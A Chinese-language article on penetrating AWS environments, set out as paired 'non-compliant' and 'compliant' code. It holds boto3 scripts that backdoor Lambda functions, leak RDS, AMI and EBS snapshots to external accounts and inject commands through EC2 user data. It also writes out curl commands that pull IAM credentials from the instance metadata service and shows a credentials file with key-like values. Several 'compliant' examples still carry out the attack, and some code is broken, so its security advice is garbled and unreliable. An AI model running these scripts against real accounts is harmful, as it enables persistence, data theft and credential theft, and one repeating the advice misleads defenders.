本文以AWS为例讲解对于企业上云的渗透思路,各厂商云服务本质差别不大,可直接类推。
随着企业越来越多地将其运营迁移到 Amazon Web Services (AWS),强大的云安全措施的重要性怎么强调都不为过。然而,尽管 AWS 环境具有无与伦比的可扩展性和效率,但它已成为网络对手的主要目标。在本文中,我们将着手探索攻击 AWS 的复杂情况,剖析威胁云部署完整性的无数漏洞和漏洞。从错误配置和内部威胁到复杂的网络攻击,我们深入研究了恶意行为者用来渗透、破坏和利用 AWS 基础设施的技术。通过揭示这些漏洞,我们的目标是为组织提供必要的知识,以加强其防御并降低在云中运营的固有风险。
安全配置不足
为了说明安全错误配置的影响和强安全措施的有效性,让我们模拟对不合规代码的攻击,并演示合规代码如何缓解这些风险。
步骤 1:模拟对不合规代码的攻击
攻击 1:利用弱口令
# Attempting to access 'my-bucket' with weak authentication
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('my-bucket')
try:
bucket.upload_file('data.txt', 'data.txt')
print("File uploaded successfully")
except Exception as e:
print("Upload failed:", e)
此代码尝试使用不合规代码中采用的弱身份验证方法将文件上传到“my-bucket”。
攻击 2:利用不受限制的访问
# Attempting to access 'public-bucket' which is publicly accessible
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('public-bucket')
try:
bucket.upload_file('data.txt', 'data.txt')
print("File uploaded successfully")
except Exception as e:
print("Upload failed:", e)
此代码尝试将文件上传到“public-bucket”,该文件已在不合规代码中公开。
攻击 3:尝试未经授权的 API 终止
# Attempting to terminate an EC2 instance which doesn't have API termination protection enabled
import boto3
ec2 = boto3.resource('ec2')
instances = ec2.instances.filter(Filters=[{'Name': 'instance-state-name', 'Values': ['running']}])
for instance in instances:
try:
instance.terminate()
print("Instance terminated successfully")
except Exception as e:
print("Termination failed:", e)
此代码尝试终止正在运行的 EC2 实例,利用不合规代码中缺乏 API 终止保护的情况。
第 2 步:演示攻击的影响
当对不合规的环境运行上述攻击代码时,由于安全配置不足,可能会导致未经授权的访问、数据泄露和潜在的实例终止。
第 3 步:实施强大的安全措施
现在,让我们演示 compliant 代码如何防止这些攻击:
-
“my-bucket”中使用的强而唯一的密码确保只有授权用户才能上传文件。
-
将 'private-bucket' 限制为私有访问可防止对资源进行未经授权的访问。
-
在 EC2 实例上启用 API 终止保护可防止未经授权的终止。
第 4 步:验证安全措施
要验证合规代码的有效性,请针对合规环境重新运行攻击代码。您将观察到:
-
·攻击 1 由于采用强身份验证方法,无法将文件上传到 my-bucket。
-
·攻击 2 无法将文件上传到“private-bucket”,因为它不可公开访问。
-
·由于启用了 API 终止保护,攻击 3 无法终止 EC2 实例。
不安全的数据存储
为了演示不安全数据存储做法的影响和安全数据存储措施的有效性,让我们模拟对不合规代码的攻击,并展示合规代码如何缓解这些风险。
步骤 1:模拟对不合规代码的攻击
攻击 1:未经授权访问敏感数据
# Attempting to access sensitive data stored without encryption
import boto3
s3 = boto3.client('s3')
try:
response = s3.get_object(Bucket='my-bucket', Key='data.txt')
print("Sensitive data retrieved successfully:", response['Body'].read())
except Exception as e:
print("Access denied:", e)
攻击 2:利用缺乏访问控制
# Attempting to access data from 'public-bucket' which lacks proper access control
import boto3
s3 = boto3.resource('s3')
bucket = s3.Bucket('public-bucket')
try:
bucket.download_file('data.txt', 'downloaded_data.txt')
print("File downloaded successfully")
except Exception as e:
print("Access denied:", e)
攻击 3:测试没有数据备份
# Attempting to create a snapshot without a proper backup plan
import boto3
rds = boto3.client('rds')
try:
rds.create_db_snapshot(DBSnapshotIdentifier='my-snapshot', DBInstanceIdentifier='my-db')
print("Snapshot created successfully")
except Exception as e:
print("Snapshot creation failed:", e)
第 2 步:演示攻击的影响
当对不合规的环境运行上述攻击代码时,由于不安全的数据存储做法,可能会发生对敏感数据的未经授权的访问、数据泄露和缺乏备份机制的情况。
第 3 步:实施安全的数据存储措施
现在,让我们演示 compliant 代码如何防止这些攻击:
-
·敏感数据使用 AES256 加密存储,即使数据泄露,也能防止未经授权的访问。
-
·实施访问控制以限制对存储数据的访问,确保只有授权用户才能访问它。
-
·已制定数据备份和灾难恢复计划,并创建快照以在发生事件时启用数据恢复。
第 4 步:验证安全措施
对合规环境重新运行攻击代码,以验证安全措施的有效性。您将观察到:
-
·攻击 1 由于加密而无法检索敏感数据。
-
·由于适当的访问控制,攻击 2 无法从 'private-bucket' 下载数据。
-
·攻击 3 无法创建快照,表明存在备份计划。
不安全的部署和配置管理
为了演示不安全部署和配置管理做法的影响以及安全部署措施的有效性,让我们模拟对不合规代码的攻击,并展示合规代码如何缓解这些风险。
步骤 1:模拟对不合规代码的攻击
攻击 1:利用弱安全组
# Attempting to deploy an instance using a weak security group
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['weak-security-group-id'], # Using weak security group
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
攻击 2:利用缺少标签
# Attempting to deploy an instance without proper tagging
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['sg-12345678'],
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
第 2 步:演示攻击的影响
在非合规环境下执行上述攻击代码时,实例可能安全配置较弱或未适当标记部署,导致存在安全漏洞和资源管理困难。
第 3 步:实施安全部署措施
现在,让我们演示 compliant 代码如何防止这些攻击:
-
·合规代码包含适当的标签,以便更好地管理和识别资源,从而更轻松地跟踪和管理实例。
-
·块存储设备映射配置了适当的卷大小和类型,以确保最佳性能和存储容量。
-
·合规代码使用具有适当配置的安全组标识符,遵循最小权限原则。
第 4 步:验证安全措施
对合规环境重新运行攻击代码,以验证安全措施的有效性。您将观察到,这些攻击无法利用薄弱的安全配置或缺少适当的标记。
通过基于资源的策略的后门 Lambda 函数
对 Lambda 函数进行后门操作涉及修改其权限以允许从外部 AWS 账户进行未经授权的调用。通过这样做,攻击者可以建立持久性并获得对函数的访问权限。
不合规代码
以下不合规代码演示了在不考虑安全最佳实践的情况下对 Lambda 函数进行后门操作:
import boto3
def backdoor_lambda_function(function_name, external_account_id):
lambda_client = boto3.client('lambda')
response = lambda_client.add_permission(
FunctionName=function_name,
StatementId='backdoor',
Action='lambda:InvokeFunction',
Principal='arn:aws:iam::' + external_account_id + ':root'
)
print("Lambda function backdoored successfully.")
# Usage
backdoor_lambda_function('my-function', '123456789012')
解释:
-
·不合规代码使用 AWS 开发工具包的方法修改 Lambda 函数的基于资源的策略。add_permission
-
·它添加了一个权限声明,允许指定的外部 AWS 账户 调用该函数。
-
·但是,此代码缺乏适当的授权和验证,忽略了安全最佳实践。
合规代码
以下合规代码演示了在遵守安全最佳实践的同时对 Lambda 函数进行后门操作:
import boto3
def backdoor_lambda_function(function_name, external_account_id):
lambda_client = boto3.client('lambda')
response = lambda_client.add_permission(
FunctionName=function_name,
StatementId='backdoor',
Action='lambda:InvokeFunction',
Principal='arn:aws:iam::' + external_account_id + ':root'
)
if response['ResponseMetadata']['HTTPStatusCode'] == 201:
print("Lambda function backdoored successfully.")
else:
print("Failed to backdoor Lambda function.")
# Usage
backdoor_lambda_function('my-function', '123456789012')
解释:
-
·合规代码通过验证后门操作是否成功来遵循安全最佳实践。
-
·它会检查响应中的 HTTP 状态代码,以确保已成功添加后门程序。
覆盖 Lambda 函数代码
覆盖 Lambda 函数的代码涉及修改 Lambda 函数的现有代码。此操作可用于建立持久性或执行更高级的操作,例如在运行时进行数据泄露。
不合规代码
以下不合规代码演示了在不考虑安全最佳实践的情况下覆盖 Lambda 函数的代码:
import boto3
def overwrite_lambda_code(function_name, new_code_path):
lambda_client = boto3.client('lambda')
with open(new_code_path, 'rb') as file:
new_code = file.read()
response = lambda_client.update_function_code(
FunctionName=function_name,
ZipFile=new_code
)
print("Lambda function code overwritten successfully.")
# Usage
overwrite_lambda_code('my-function', '/path/to/new_code.zip')
解释:
-
不合规代码使用 AWS 开发工具包的方法覆盖 Lambda 函数的代码。update_function_code
-
它从文件中读取新代码,并使用提供的代码更新 Lambda 函数的代码。
-
但是,此代码缺乏安全最佳实践,例如适当的授权、代码完整性检查和版本控制。
合规代码
以下合规代码演示了在遵守安全最佳实践的同时覆盖 Lambda 函数的代码:
import boto3
def overwrite_lambda_code(function_name, new_code_path):
lambda_client = boto3.client('lambda')
with open(new_code_path, 'rb') as file:
new_code = file.read()
response = lambda_client.update_function_code(
FunctionName=function_name,
ZipFile=new_code,
Publish=True # Publish a new version of the Lambda function
)
if response['ResponseMetadata']['HTTPStatusCode'] == 200:
print("Lambda function code overwritten successfully.")
else:
print("Failed to overwrite Lambda function code.")
# Usage
overwrite_lambda_code('my-function', '/path/to/new_code.zip')
解释:
-
合规代码通过验证代码更新操作是否成功来遵循安全最佳实践。
-
它会检查响应中的 HTTP 状态代码,以确保成功覆盖 Lambda 函数的代码。
创建 IAM Roles Anywhere 信任锚
创建 IAM Roles Anywhere 信任锚涉及通过创建信任锚证书来建立持久性。此证书允许 AWS 外部的工作负载通过 IAM Roles Anywhere 服务代入 IAM 角色。
不合规代码
以下不合规代码演示了在不遵循安全最佳实践的情况下创建 IAM Roles Anywhere 信任锚点:
import boto3
def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):
iam_client = boto3.client('iam')
response = iam_client.create_service_specific_credential(
UserName=role_name,
ServiceName='roles-anywhere.amazonaws.com'
)
print("IAM Roles Anywhere trust anchor created successfully.")
return response['ServiceSpecificCredential']
# Usage
create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----n...n-----END CERTIFICATE-----')
解释:
-
不合规代码使用 AWS 开发工具包的方法创建 IAM Roles Anywhere 信任锚点。create_service_specific_credential
-
它指定 IAM 角色和 roles-anywhere.amazonaws.com 服务名称。
-
但是,此代码缺乏安全最佳实践,例如正确授权、安全处理信任锚证书和最低权限原则。
合规代码
以下合规代码演示了在遵守安全最佳实践的同时创建 IAM Roles Anywhere 信任锚:
import boto3
def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):
iam_client = boto3.client('iam')
response = iam_client.upload_signing_certificate(
UserName=role_name,
CertificateBody=trust_anchor_certificate
)
print("IAM Roles Anywhere trust anchor created successfully.")
return response['Certificate']
# Usage
create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----n...n-----END CERTIFICATE-----')
解释:
-
合规代码使用该方法遵循安全最佳实践。
-
它会安全地将信任锚证书上传到指定的 IAM 角色。
-
请记住小心处理信任锚证书,并限制对授权实体的访问。
通过共享泄露 RDS 快照
通过共享 RDS 快照来泄露 RDS 快照涉及向外部 AWS 账户授予从 Amazon RDS 访问数据库快照的权限。通过共享快照,收件人账户可以恢复快照并访问其中包含的数据库数据。
不合规代码
以下不合规代码演示了攻击者如何使用 AWS 开发工具包与外部 AWS 账户共享 RDS 快照:
import boto3
# Create an RDS client
rds_client = boto3.client('rds')
# Define the snapshot identifier
snapshot_identifier = 'my-db-snapshot'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the RDS snapshot with the external AWS account
rds_client.modify_db_snapshot_attribute(
DBSnapshotIdentifier=snapshot_identifier,
AttributeName='restore',
ValuesToAdd=[account_id]
解释:
-
·不合规代码使用 AWS 开发工具包 (boto3) 修改 RDS 快照的属性。
-
·它指定 (快照名称) 并将外部 AWS 账户 ID 添加到属性中。DBSnapshotIdentifierrestore
-
·但是,此代码不符合要求,因为它允许对快照进行未经授权的访问,从而可能使攻击者能够在自己的帐户中还原快照并获得对数据库数据的访问权限。
合规代码
以下合规代码演示了如何正确保护 RDS 快照并防止未经授权的共享:
import boto3
# Create an RDS client
rds_client = boto3.client('rds')
# Define the snapshot identifier
snapshot_identifier = 'my-db-snapshot'
# Revoke sharing permissions from the RDS snapshot
rds_client.modify_db_snapshot_attribute(
DBSnapshotIdentifier=snapshot_identifier,
AttributeName='restore',
ValuesToRemove=['all']
)
解释:
-
·合规代码将撤销 RDS 快照中由 指定的任何共享权限。snapshot_identifier
-
·它会删除与该属性关联的所有值,从而确保任何 AWS 账户 都无法访问快照。restore
通过其 Bucket Policy 对 S3 存储桶进行后门操作
通过 S3 存储桶策略对 S3 存储桶进行后门操作涉及修改策略以允许对存储桶进行未经授权的访问。通过这样做,攻击者获得了从存储桶中泄露数据的能力。
不合规代码
以下不合规代码演示了攻击者如何修改存储桶策略以授予对外部 AWS 账户的访问权限:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::012345678901:root"
},
"Action": [
"s3:GetObject",
"s3:GetBucketLocation",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::my-bucket/*",
"arn:aws:s3:::my-bucket"
]
}
]
}
解释:
-
·不合规代码修改存储桶策略以授予对 AWS ARN 指定的外部 AWS 账户的访问权限。arn:aws:iam::012345678901:root
-
·指定的账户被授予对 标识的存储桶执行 、 和 等操作的权限。GetObjectGetBucketLocationListBucketmy-bucket
-
·但是,此代码不合规,因为它允许对 S3 存储桶进行未经授权的访问,从而可能使攻击者能够泄露敏感数据。
合规代码
以下合规代码演示了如何通过从存储桶策略中删除未经授权的访问来正确保护 S3 存储桶:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": [
"s3:GetObject",
"s3:GetBucketLocation",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::my-bucket/*",
"arn:aws:s3:::my-bucket"
]
}
]
}
解释:
-
合规代码修改存储桶策略,以拒绝对尝试对标识的存储桶执行*GetObjectGetBucketLocationList 和Bucketmy-bucket 等操作的任何委托人(通配符)的访问。
-
·通过拒绝除明确授权用户之外的所有访问,我们可以确保存储桶保持安全。
通过共享 AMI 来泄露 AMI
通过共享 AMI 泄露 AMI 涉及向外部 AWS 账户授予从 Amazon EC2 对 Amazon 系统映像 (AMI) 的访问权限。通过共享 AMI,接收方账户能够从共享映像启动实例。此技术可用于将 AMI 移动到未经授权的账户,以便进一步分析或滥用。
不符合代码
以下不合规代码演示了攻击者如何使用 AWS 开发工具包与外部 AWS 账户共享 AMI:
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the AMI ID
ami_id = 'ami-01234567890abcdef'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the AMI with the external AWS account
ec2_client.modify_image_attribute(
ImageId=ami_id,
LaunchPermission={
'Add': [{'UserId': account_id}]
}
)
解释:
-
不合规代码使用 AWS 开发工具包 (boto3) 修改 AMI 的启动权限。
-
它指定 (AMI ID) 并将外部 AWS 账户 ID 添加到 .ImageIdLaunchPermission
-
但是,此代码不合规,因为它允许对 AMI 进行未经授权的访问,从而可能使攻击者能够从共享映像启动实例。
合规代码
以下合规代码演示了如何正确保护 AMI 并防止未经授权的共享:
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the AMI ID
ami_id = 'ami-01234567890abcdef'
# Revoke public launch permissions from the AMI
ec2_client.reset_image_attribute(
ImageId=ami_id,
Attribute='launchPermission'
)
解释:
-
·合规代码会撤销 AMI 的任何公有启动权限。ami_id
-
·它会重置 image 属性,确保 AMI 的所有者以外的任何 AWS 账户都无法访问 AMI。
-
·通过将 AMI 的共享限制为仅受信任的和授权的账户,可以降低未经授权访问和泄露的风险。
通过共享 EBS 快照来泄露 EBS 快照
通过共享 EBS 快照来泄露该快照涉及向外部 AWS 账户授予从 Amazon EC2 到 Amazon Elastic Block Store (EBS) 快照的访问权限。通过共享快照,接收方账户可以从共享快照创建新卷。此技术可用于将存储在 EBS 快照中的敏感数据移动到未经授权的账户,以便进一步分析或滥用。
不合规代码
以下不合规代码演示了攻击者如何使用 AWS 开发工具包与外部 AWS 账户共享 EBS 快照:
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the snapshot ID
snapshot_id = 'snap-01234567890abcdef'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the snapshot with the external AWS account
ec2_client.modify_snapshot_attribute(
SnapshotId=snapshot_id,
Attribute='createVolumePermission',
CreateVolumePermission={
[{'UserId': account_id}] :
}
)
解释:
-
·不合规代码使用 AWS 开发工具包 (boto3) 修改 EBS 快照的创建卷权限。
-
·它指定 (快照 ID) 并将外部 AWS 账户 ID 添加到 .SnapshotIdCreateVolumePermission
-
·但是,此代码不合规,因为它允许对快照进行未经授权的访问,从而可能使攻击者能够创建新卷并访问存储在共享快照中的数据。
合规代码
以下合规代码演示了如何正确保护 EBS 快照并防止未经授权的共享:
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the snapshot ID
snapshot_id = 'snap-01234567890abcdef'
# Revoke public sharing permissions from the snapshot
ec2_client.reset_snapshot_attribute(
SnapshotId=snapshot_id,
Attribute='createVolumePermission'
)
解释:
-
·合规代码将撤销 EBS 快照中的任何公有共享权限。snapshot_id
-
·它会重置快照属性,确保除拥有快照的账户之外的任何 AWS 账户都无法访问该快照。
-
·通过将 EBS 快照的共享限制为仅受信任的授权账户,可以降低未经授权的访问和泄露的风险。
在 EC2 实例上执行发现命令
在 EC2 实例上执行发现命令涉及运行各种命令以收集有关 AWS 环境的信息。这些命令可帮助攻击者深入了解 AWS 账户、识别资源并可能规划进一步的操作。
不合规代码
以下不合规代码直接使用 AWS 开发工具包 (boto3) 在 EC2 实例上运行各种发现命令:
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Run discovery commands
response = ec2_client.describe_snapshots()
print(response)
response = ec2_client.describe_instances()
print(response)
response = ec2_client.describe_vpcs()
print(response)
response = ec2_client.describe_security_groups()
print(response)
# ... (additional discovery commands)
解释:
-
·不合规代码假定必要的 AWS 凭证在 EC2 实例上可用。
-
·任何有权访问该实例的人都可以执行这些命令,这可能会将敏感信息暴露给未经授权的个人。
合规代码
以下合规代码演示了如何通过显式提供 AWS 凭证来正确保护 EC2 实例上发现命令的执行:
import boto3
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Run discovery commands
response = ec2_client.describe_snapshots()
print(response)
response = ec2_client.describe_instances()
print(response)
response = ec2_client.describe_vpcs()
print(response)
response = ec2_client.describe_security_groups()
print(response)
# ... (additional discovery commands)
解释:
-
·合规代码在创建 EC2 客户端时明确提供 AWS 凭证(访问密钥、私有密钥和会话令牌)。
-
·通过这样做,它可以确保适当的授权,并将访问权限限制为仅授权用户。
下载 EC2 实例用户数据
下载 EC2 实例用户数据是指检索与 EC2 实例关联的用户数据。用户数据可以包含脚本、配置和实例启动时执行的其他数据。在攻击场景的上下文中,攻击者可能会尝试下载用户数据以深入了解实例的设置、提取敏感信息或利用任何错误配置。
不合规代码
以下不合规代码使用 AWS 开发工具包 (boto3) 检索多个 EC2 实例的用户数据。它假定代码可以使用必要的 AWS 凭证和权限,从而允许任何具有访问权限的人运行此代码来检索用户数据。此代码缺乏适当的授权,可能会将敏感信息暴露给未经授权的个人:
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Retrieve instance IDs (fictitious for demonstration)
instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']
# Retrieve user data for each instance
for instance_id in instance_ids:
response = ec2_client.describe_instance_attribute(
InstanceId=instance_id,
Attribute='userData'
)
user_data = response['UserData']
print(user_data)
合规代码
以下合规代码演示了如何通过显式提供 AWS 凭证来正确保护 EC2 实例用户数据的检索:
import boto3
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Retrieve instance IDs (fictitious for demonstration)
instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']
# Retrieve user data for each instance
for instance_id in instance_ids:
response = ec2_client.describe_instance_attribute(
InstanceId=instance_id,
Attribute='userData'
)
user_data = response['UserData']
print(user_data)
解释:
-
·合规代码在创建 EC2 客户端时明确提供 AWS 凭证(访问密钥、私有密钥和会话令牌)。
-
·通过这样做,它可以确保适当的授权,并将访问权限限制为仅授权用户。
通过用户数据在 EC2 实例上执行命令
通过用户数据在 EC2 实例上执行命令是指通过修改与实例关联的用户数据,在 Linux EC2 实例上注入和执行代码。用户数据是 AWS 中的一项功能,允许您提供要在实例启动时执行的脚本或指令。但是,必须安全地处理用户数据,以防止未经授权执行恶意代码。
不合规代码
以下不合规代码演示了攻击者如何修改已停止的 EC2 实例的用户数据以注入和执行恶意代码:
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the EC2 instance ID
instance_id = 'i-1234567890abcdef0'
# Stop the EC2 instance
ec2_client.stop_instances(InstanceIds=[instance_id])
# Modify the user data of the EC2 instance to execute malicious commands
user_data_script = '#!/bin/bashnnmalicious_commandn'
ec2_client.modify_instance_attribute(
InstanceId=instance_id,
UserData={
'Value': user_data_script
}
)
# Start the EC2 instance
ec2_client.start_instances(InstanceIds=[instance_id])
解释:
-
·不合规代码会停止 EC2 实例,使用恶意脚本修改其用户数据,然后启动该实例。
-
·用户数据脚本包含攻击者打算在实例启动时执行的 bash 命令。malicious_command
-
·但是,此代码仅用于演示目的,不应在实际环境中执行。
合规代码
通过用户数据在 EC2 实例上执行任意代码会带来重大的安全风险。为了降低这种风险,确保用户数据得到适当的控制和限制至关重要。以下合规代码演示了如何为 EC2 实例提供安全的用户数据:
import boto3
import base64
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Define the EC2 instance ID
instance_id = 'i-1234567890abcdef0'
# Define the user data script (base64-encoded)
user_data_script = '#!/bin/bashnnmalicious_commandn'
user_data_base64 = base64.b64encode(user_data_script.encode()).decode()
# Modify the user data of the EC2 instance
ec2_client.modify_instance_attribute(
InstanceId=instance_id,
UserData={
'Value': user_data_base64
}
)
# Start the EC2 instance
ec2_client.start_instances(InstanceIds=[instance_id])
# Print a success message
print(f"User data modified for instance {instance_id}. Malicious command will execute upon startup.")
解释:
-
·合规代码在创建 EC2 客户端时明确提供 AWS 凭证(访问密钥、私有密钥和会话令牌)。
-
·它以 base64 格式对用户数据脚本进行编码,以确保正确处理。
-
·通过限制对授权用户的访问并安全地处理用户数据,我们可以防止未经授权执行恶意代码。
检索 EC2 密码数据
检索 EC2 密码数据涉及获取与 AWS 中的 Windows EC2 实例关联的 RDP(远程桌面协议)密码。在模拟攻击场景中,攻击者试图通过运行 API 调用从大量实例中检索这些密码。目标是利用与权限相关的任何错误配置或漏洞。ec2:GetPasswordData
不合规代码
以下不合规代码使用 boto3 Python 库通过调用 API 方法检索 EC2 密码数据。但是,它不会检查执行此代码的角色是否具有检索密码数据所需的权限 ():get_password_dataec2:GetPasswordData
import boto3
def retrieve_ec2_password(instance_id):
client = boto3.client('ec2')
response = client.get_password_data(InstanceId=instance_id)
return response['PasswordData']
合规代码
以下合规代码演示了如何通过检查必要的权限和处理潜在错误来正确处理 EC2 密码数据的检索:
import boto3
import botocore
def retrieve_ec2_password(instance_id):
client = boto3.client('ec2')
try:
response = client.get_password_data(InstanceId=instance_id)
return response['PasswordData']
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print("Permission denied to retrieve EC2 password data.")
else:
print("An error occurred while retrieving EC2 password data.")
return None
解释:
-
·合规代码使用 - 块来处理检索 EC2 密码数据时的潜在错误。tryexcept
-
·如果错误代码为 ,则打印一条消息,指示权限被拒绝。UnauthorizedOperation
-
·否则,它将处理其他错误并提供一般错误消息。
-
·在处理敏感数据或 API 时,请始终确保适当的权限和错误处理
不安全的部署和配置管理
部署和管理云资源过程中的弱点可能会引入安全漏洞。下面的不合规代码示例演示了不安全的做法:
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['sg-12345678'],
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
解释:
-
·不合规的代码在没有适当安全考虑的情况下部署 EC2 实例。
-
·它使用实例的默认配置,包括默认安全组和密钥对。
-
·该字段可能包含敏感信息或不安全的脚本。
本地文件系统
在获得对 EC2 实例等服务的交互式访问后,探索本地文件系统成为了解受感染环境范围的关键阶段。虽然初始步骤可能类似于在标准场景中渗透服务器的步骤,但 AWS 环境由于其基于云的架构而存在独特的考虑因素。以下是在 AWS 上下文中探索本地文件系统所涉及的关键任务:
1. 敏感信息的发现:
-
·密码和凭据:在配置文件、应用程序日志或临时目录等文件中搜索存储的密码、API 密钥或其他敏感凭据。
-
·应用程序文件和文档:检查文件系统中是否有特定于应用程序的文件、脚本或文档,这些文件、脚本或文档可能会深入了解系统的设置和操作。
-
·主目录:调查用户主目录是否存在潜在的敏感信息,例如 SSH 密钥或包含特权访问详细信息的配置文件。
-
·环境配置:查看环境变量和配置文件,以识别可能暴露漏洞或敏感数据的任何设置或参数。
2. 权限提升:
-
·错误配置:查找可能被利用来提升系统内权限的配置错误的文件、目录或服务。
-
·内核漏洞:评估系统是否存在内核或已安装软件中的漏洞,这些漏洞可用于获得更高级别的访问权限。
-
·宽容权限:识别以提升的权限运行的进程或服务,并探索利用这些权限进一步提升权限的潜在途径。
3. 转向其他服务:
-
·端口扫描:执行端口扫描以识别在同一网络内或相邻系统上运行的其他服务,这些服务可能成为进一步利用或横向移动的潜在目标。
AWS 云环境特定注意事项:
-
·发现 AWS 访问凭证:请特别注意存储在文件系统中的 AWS 访问凭证,包括 IAM 用户凭证、访问密钥或临时安全令牌。
-
·验证 AWS 元数据终端节点:确认 http://169.254.169.254/ 或其 IPv6 等效位置对 AWS 元数据终端节点的可访问性。未经授权访问此端点可能会泄露敏感信息,或可能允许元数据服务 (IMDS) 等漏洞利用。
AWS 安全令牌
AWS 安全令牌充当 AWS Identity and Access Management (IAM) 用户的临时受限访问密钥,在 AWS 生态系统中授予临时权限。这些令牌使用户能够(包括使用 Terraform 或 AWS 服务等工具的开发人员)获得对指定任务的有限访问权限。通过使用 IAM 角色配置 EC2 实例,应用程序和服务可以获取凭证以访问其他服务,从而简化开发人员的跨服务身份验证。但是,这种便利也引入了安全漏洞,因为被盗用的令牌可能会被攻击者利用。这些凭证通过 AWS 元数据服务检索,可通过特定 URL 访问,重要的元数据类别包括详细说明关联 IAM 角色的“iam/info”和包含链接到角色的临时安全凭证的“iam/security-credentials/role-name”。AWS 在其实例元数据服务版本 2 (IMDSv2) 中使用令牌来建立基于会话的访问,而无需进行身份验证,从而缓解应用程序中潜在的 SSRF 漏洞。
1.请求 Token:
TOKEN=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
此命令向 AWS 元数据服务终端节点发送 PUT 请求以获取安全令牌。
获取的 Token 存储在变量 $TOKEN 中供以后使用。
2.打印令牌:
echo $TOKEN
此命令打印获取的令牌,该令牌可用于需要身份验证的后续请求。
3.获取实例身份证明文件:
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
-
此命令使用获取的令牌检索实例身份文档。
-
实例身份文档包含有关 EC2 实例的信息,例如其区域、架构和实例 ID。
4.列出 IAM 信息:
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info
此命令使用获取的令牌获取有关与 EC2 实例关联的 IAM 角色的信息。
5.请求 IAM 安全凭证:
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ServerManager
此命令使用获取的令牌请求与特定 IAM 角色(在本例中)关联的安全凭证。ServerManager
返回的凭证包括 Access Key ID、Secret Access Key、Token 和 Expiration time。
6.在 AWS CLI 配置中存储凭证:
[default]
aws_access_key_id = ASIAWA6NVTVY5CNUKIUO
aws_secret_access_key = wSHLoJrGVnjfo+xxKwt1cblFpiZgWF20DMxXpTXn
